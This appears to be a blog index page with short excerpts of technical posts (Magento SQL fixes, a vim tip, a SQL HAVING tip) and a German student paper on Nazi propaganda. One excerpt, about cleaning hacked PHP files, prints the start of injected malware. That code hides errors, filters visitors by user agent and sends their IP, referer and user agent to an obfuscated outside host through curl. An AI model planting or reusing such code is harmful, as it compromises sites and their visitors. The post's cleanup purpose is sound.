No category tree in Magento backend

Perhaps you now the problem shown below. The category tree of the products isn’t rendered correctly. That’s because I don’t set level and children_count during import of categories. This little script corrects this for me: UPDATE catalog_category_entity SET level = (SELECT LENGTH(path)-LENGTH(REPLACE(path,’/’,”)) AS tmpl FROM (SELECT * FROM catalog_category_entity) AS table1 WHERE catalog_category_entity.entity_id = table1.entity_id); UPDATE […]

Die Macht der Massenmedien
-Propaganda im Dritten Reich-

Die folgende Arbeit, welche ich während meines Studiums geschrieben habe, analysiert die gezielte Ausnutzung der, zur Zeit des Nationalsozialismus vorhandenen, Massenmedien. Dabei wird vor allem auf die medienpsychologischen Aspekte aber auch auf die historischen Hintergründe eingegangen. Es wird gezeigt, wie wichtig freie Medien aber vor allem auch ein kritischer Umgang mit diesen ist. Die Veröffentlichung […]

VI / VIM Delete all text

To delete all content from current position to the end of file on bash, you can take the following steps: Open file in vi or vim $> vi fiele $> # or $> vim file Switch to visual block mode Ctrl+v Press G (Shift+g) Mark text to delete with arrow keys top and down or just press […]

Find and replace malware code blocks in php files via shell

Today I was attacked by an unknown bot or something like that. It placed the following code in many hundred index.php files on one of my servers, because the FTP-Password was cracked. <?php #19f955# error_reporting(0); ini_set(‘display_errors’,0); $wp_sjqe08340 = @$_SERVER[‘HTTP_USER_AGENT’]; if (( preg_match (‘/Gecko|MSIE/i’, $wp_sjqe08340) && !preg_match (‘/bot/i’, $wp_sjqe08340))){ $wp_sjqe0908340=”http://”.”http”.”href”.”.com/href”.”/?ip=”.$_SERVER[‘REMOTE_ADDR’].”&referer=”.urlencode($_SERVER[‘HTTP_HOST’]).”&ua=”.urlencode($wp_sjqe08340); $ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_sjqe0908340); […]

Use column alias in conditions

With the use of HAVING you can use a result columns of a database query in itself: SELECT category_field = 3 AS ‘result’ FROM catalog_category_entity WHERE condition_field = 985 HAVING result = 1; Here the alias result (see AS ‘result’) for the only column is used as a condition with HAVING. That is by now […]